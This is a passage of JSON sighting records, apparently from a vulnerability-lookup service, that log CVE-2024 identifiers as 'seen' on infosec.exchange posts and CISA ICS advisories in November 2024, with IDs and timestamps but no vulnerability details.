"CVE-2024-50559", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-06", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "51e8d375-fb0c-40fb-9388-9e118d1af64b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50541", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510891366628063", "content": "", "creation_timestamp": "2024-11-19T17:52:28.140202Z"}, {"uuid": "4137dfdc-8185-440a-ac2d-f7a826300bd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50540", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510891353019188", "content": "", "creation_timestamp": "2024-11-19T17:52:28.210224Z"}, {"uuid": "aec36126-ae65-4c8f-b381-10adccf18108", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50554", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113511068517919150", "content": "", "creation_timestamp": "2024-11-19T18:37:31.440946Z"}, {"uuid": "cbc4865c-246a-45f0-a0bb-b2eac5bc1562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50556", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113511068531790633", "content": "", "creation_timestamp": "2024-11-19T18:37:31.567165Z"}, {"uuid": "0b966b9f-502f-46ef-9cb0-620384c3c07c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50836", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482288067985040", "content": "", "creation_timestamp": "2024-11-14T16:38:16.483893Z"}, {"uuid": "5151dab6-bf42-472a-9577-a91658eaf3a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50542", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510950365613094", "content": "", "creation_timestamp": "2024-11-19T18:07:28.388472Z"}, {"uuid": "12454530-d353-4559-b509-9278a2805636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50834", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482329229276406", "content": "", "creation_timestamp": "2024-11-14T16:48:44.520654Z"}, {"uuid": "95715671-c703-432f-aa68-cbc3b7c1b724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50572", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-06", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "a4c4df61-4f08-4011-aa2e-81882293825c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50310", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-11", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "4560c354-179a-462b-b1b4-1c043cdcd47f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50543", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510950379292638", "content": "", "creation_timestamp": "2024-11-19T18:07:28.580931Z"}, {"uuid": "401b987d-57ef-43d4-a55e-98dd9ba38d57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50826", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482489178632663", "content": "", "creation_timestamp": "2024-11-14T17:29:25.537216Z"}, {"uuid": "fae2f389-e306-4a80-adcc-979674fb4f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50827", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482489194316740", "content": "", "creation_timestamp": "2024-11-14T17:29:25.577698Z"}, {"uuid": "43e2f361-dc6a-4b66-acff-6f190e2cf902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50828", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482489230397726", "content": "", "creation_timestamp": "2024-11-14T17:29:25.913034Z"}, {"uuid": "13f7a36a-6b95-4d76-8cc0-a0f8f55e60d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50826", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482501269576658", "content": "", "creation_timestamp": "2024-11-14T17:32:29.769143Z"}, {"uuid": "9c438380-48da-4437-97ef-621b31ad25ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50552", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113511068489681032", "content": "", "creation_timestamp": "2024-11-19T18:37:30.917875Z"}, {"uuid": "16cf3e2d-c65b-4422-9de0-fa6d63fa85fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50558", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-06", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "73ae4dde-bfbb-4f33-824e-8d2ce3dbbae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50560", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-06", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "aae4f9bc-03bd-4101-955f-fc7ee4242989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50919", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113505769883285911", "content": "", "creation_timestamp": "2024-11-18T20:10:00.484548Z"}, {"uuid": "6c42a155-e361-4a4b-905c-0c700816a699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50269", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507124851889111", "content": "", "creation_timestamp": "2024-11-19T01:54:35.801374Z"}, {"uuid": "4649f0ed-04a5-44bd-ad08-8f763e331116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50279", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507301969515427", "content": "", "creation_timestamp": "2024-11-19T02:39:38.388747Z"}, {"uuid": "cb387013-3469-4c20-8dc6-3bb0fcc257fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50295", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507538134918582", "content": "", "creation_timestamp": "2024-11-19T03:39:42.040185Z"}, {"uuid": "b617893f-aeec-4b78-9d8a-f53f372e5606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50553", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113511068503763332", "content": "", "creation_timestamp": "2024-11-19T18:37:31.238554Z"}, {"uuid": "a583adf2-61ed-4712-833b-7a516c3c681d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50841", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481595438416240", "content": "", "creation_timestamp": "2024-11-14T13:42:07.819514Z"}, {"uuid": "7a0a134f-0501-48b3-9a80-81ef163f76ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50842", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481595452309688", "content": "", "creation_timestamp": "2024-11-14T13:42:08.012517Z"}, {"uuid": "71a0e1e9-8e22-4402-b7cb-8afdd9021ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50843", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481595467254205", "content": "", "creation_timestamp": "2024-11-14T13:42:08.329158Z"}, {"uuid": "23a425f2-1c42-4d06-8d31-98b81564923c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50827", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482501293843963", "content": "", "creation_timestamp": "2024-11-14T17:32:30.007414Z"}, {"uuid": "ac5874e4-aa77-423f-865f-16859af83688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50828", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482501307801686", "content": "", "creation_timestamp": "2024-11-14T17:32:30.199797Z"}, {"uuid": "c7ac601e-30f6-4728-abb6-290b657902a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50291", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507479093043642", "content": "", "creation_timestamp": "2024-11-19T03:24:41.810331Z"}, {"uuid": "69e17ede-c0ae-44be-8a84-bca4e9306f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5029", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113519440534872706", "content": "", "creation_timestamp": "2024-11-21T06:06:39.152515Z"}, {"uuid": "7f9eb391-fa7e-4efc-a625-876fe81c4152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50838", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481884950886444", "content": "", "creation_timestamp": "2024-11-14T14:55:45.320654Z"}, {"uuid": "062e3e6a-8ab8-4e26-a92f-e8e8dc7a8468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50829", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482443206463361", "content": "", "creation_timestamp": "2024-11-14T17:17:43.645303Z"}, {"uuid": "54d5be34-1b76-4382-9499-5d1fdf484030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50830", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482443221905840", "content": "", "creation_timestamp": "2024-11-14T17:17:43.964205Z"}, {"uuid": "8fd9d605-8b2e-445a-b03e-944fc8e3eb4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50831", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482443237542239", "content": "", "creation_timestamp": "2024-11-14T17:17:44.116055Z"}, {"uuid": "ec41abf7-7cb9-472d-9313-82ab148663ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50557", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-06", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "be47f23b-88a2-4af3-b8d2-8b12d58cc47e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50313", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-12", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "9647b3f3-2318-49eb-b8fc-0511025a0167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50837", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481919699228585", "content": "", "creation_timestamp": "2024-11-14T15:04:35.487357Z"}, {"uuid": "052fb9e0-5b91-4d38-9280-f4aa7aacfacd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50561", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-06", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "874d49b2-07d9-4c18-b315-b02a6db13d50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50350", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113487892490978139", "content": "", "creation_timestamp": "2024-11-15T16:23:34.018647Z"}, {"uuid": "58e75472-18db-4e21-a21b-196531a7bb24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50351", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113487892506879852", "content": "", "creation_timestamp": "2024-11-15T16:23:34.218404Z"}, {"uuid": "a1f4301f-f2c6-4b56-8686-5d7c1b2dfb92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50287", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507420054479466", "content": "", "creation_timestamp": "2024-11-19T03:09:40.194614Z"}, {"uuid": "0cf6f6ea-e8f3-46a9-b594-de4a122b774e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50289", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507420081493811", "content": "", "creation_timestamp": "2024-11-19T03:09:41.525488Z"}, {"uuid": "ee72d5b9-3c70-4f8e-acd3-f467e500d98a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50266", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507065821593129", "content": "", "creation_timestamp": "2024-11-19T01:39:35.224700Z"}, {"uuid": "32ed9f2e-cf89-4867-b5e7-66a0936ccab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50273", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507183914802167", "content": "", "creation_timestamp": "2024-11-19T02:09:36.953326Z"}, {"uuid": "ebc9efce-bdb3-4b54-8b0f-4f807bac9863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50276", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507242946380779", "content": "", "creation_timestamp": "2024-11-19T02:24:37.804659Z"}, {"uuid": "b76ab6b2-b286-49d5-9773-1c91301a6d7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50277", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507242959955822", "content": "", "creation_timestamp": "2024-11-19T02:24:38.002998Z"}, {"uuid": "c1b13807-fe14-477c-ad29-4eb321e892a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50280", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507301983406124", "content": "", "creation_timestamp": "2024-11-19T02:39:38.575704Z"}, {"uuid": "73413459-e3eb-4d5b-ab30-6a5d4cb98be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50296", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507538148924735", "content": "", "creation_timestamp": "2024-11-19T03:39:42.474806Z"}, {"uuid": "63bb255c-84eb-4f85-9045-7484cb15c773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50983", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113489233363805293", "content": "", "creation_timestamp": "2024-11-15T22:04:35.061682Z"}, {"uuid": "882b8526-7bef-4f21-9ec4-c53b5e3c9271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50293", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507479122841724", "content": "", "creation_timestamp": "2024-11-19T03:24:42.581703Z"}, {"uuid": "0927a4fd-575b-4653-b338-e920840cda16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50294", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507479136113359", "content": "", "creation_timestamp": "2024-11-19T03:24:42.704238Z"}, {"uuid": "2045ab7c-7d4d-410d-9851-3c42936d9f44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50300", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507597193583520", "content": "", "creation_timestamp": "2024-11-19T03:54:43.116476Z"}, {"uuid": "711c8f3e-6701-4a25-ab2a-87e7e9c3de3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50724", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113487688879753162", "content": "", "creation_timestamp": "2024-11-15T15:31:46.651600Z"}, {"uuid": "527461cc-297f-4de0-b9c1-b865be0d6737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50647", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113487892522700906", "content": "", "creation_timestamp": "2024-11-15T16:23:34.293548Z"}, {"uuid": "a9729e45-2207-45a0-a4ec-a959682eccd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50270", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507124887518938", "content": "", "creation_timestamp": "2024-11-19T01:54:36.216739Z"}, {"uuid": "9cf8f57a-2b25-4561-bbeb-6baaa44d83d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50275", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507242931849361", "content": "", "creation_timestamp": "2024-11-19T02:24:37.499510Z"}, {"uuid": "ff024b39-8cba-40a7-8018-125af1855fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50283", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507361015021447", "content": "", "creation_timestamp": "2024-11-19T02:54:39.208515Z"}, {"uuid": "f97fc3ea-e1e3-4eaa-ac77-5bbdee471f84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50986", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113487607732298095", "content": "", "creation_timestamp": "2024-11-15T15:11:08.179102Z"}, {"uuid": "ea0d1a9d-ac86-4bdc-b407-1bfc282dd5de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50804", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113505821901017710", "content": "", "creation_timestamp": "2024-11-18T20:23:14.308150Z"}, {"uuid": "89d27be4-9313-48be-af26-2c8336581f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50849", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113505821918325381", "content": "", "creation_timestamp": "2024-11-18T20:23:14.500806Z"}, {"uuid": "73b4eca3-6774-423c-8d69-a04daa81ed1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50265", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507065807582955", "content": "", "creation_timestamp": "2024-11-19T01:39:34.754003Z"}, {"uuid": "b4e1d69f-fdca-40ac-a9f0-a53cf5434ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50267", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507124823356969", "content": "", "creation_timestamp": "2024-11-19T01:54:35.334505Z"}, {"uuid": "85567105-97c5-4f35-a3b2-57af99b1a52d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50284", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507361028590322", "content": "", "creation_timestamp": "2024-11-19T02:54:39.474592Z"}, {"uuid": "7cd5a666-83ba-4965-aa05-c66eb7cb7796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50285", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507361042608863", "content": "", "creation_timestamp": "2024-11-19T02:54:40.003450Z"}, {"uuid": "3b61a3a4-e8f9-420c-9496-efb637ec997f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50292", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507479108369390", "content": "", "creation_timestamp": "2024-11-19T03:24:42.343477Z"}, {"uuid": "7a52532e-7e59-4b7b-944d-241e3ab1c98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50298", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507538177346077", "content": "", "creation_timestamp": "2024-11-19T03:39:42.741032Z"}, {"uuid": "7904dee0-aad7-41cf-835a-fde05724deb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50297", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507538163346882", "content": "", "creation_timestamp": "2024-11-19T03:39:42.788946Z"}, {"uuid": "557ca030-1ca6-4a23-9330-8590e98d2b36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50299", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507597179390061", "content": "", "creation_timestamp": "2024-11-19T03:54:42.889975Z"}, {"uuid": "a5747cdd-e905-4853-b3e6-ed56d2d1047e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507065793952456", "content": "", "creation_timestamp": "2024-11-19T01:39:34.510520Z"}, {"uuid": "f5ee9409-14d7-449f-b947-07d2f75cecaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50268", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507124837227550", "content": "", "creation_timestamp": "2024-11-19T01:54:36.466392Z"}, {"uuid": "39a670a6-cbdd-495b-a31e-1e11c9cda1de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50278", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507242973411637", "content": "", "creation_timestamp": "2024-11-19T02:24:38.354481Z"}, {"uuid": "dbe38145-22c2-40bf-911e-853bb4a51272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50281", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507301997744542", "content": "", "creation_timestamp": "2024-11-19T02:39:39.073131Z"}, {"uuid": "afb1e4fd-fec7-4329-982e-d3eb411ae5a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50282", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507302011867803", "content": "", "creation_timestamp": "2024-11-19T02:39:39.369566Z"}, {"uuid": "86027284-1ee1-447e-b6e9-3d55911766e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50274", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507183928619884", "content": "", "creation_timestamp": "2024-11-19T02:09:37.286923Z"}, {"uuid": "c3c8d10a-1219-41eb-b963-acd824a8ce27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50288", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507420067795408", "content": "", "creation_timestamp": "2024-11-19T03:09:40.526373Z"}, {"uuid": "e5644cdc-aeea-41fe-9706-b840993a241b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50301", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507597215119698", "content": "", "creation_timestamp": "2024-11-19T03:54:43.711565Z"}, {"uuid": "f68c6fd8-aee0-41ba-9d7f-86b3708fb169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507597228668955", "content": "", "creation_timestamp": "2024-11-19T03:54:43.787789Z"}, {"uuid": "810c4611-0921-48c5-9bb9-2596fbc4f885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50800", 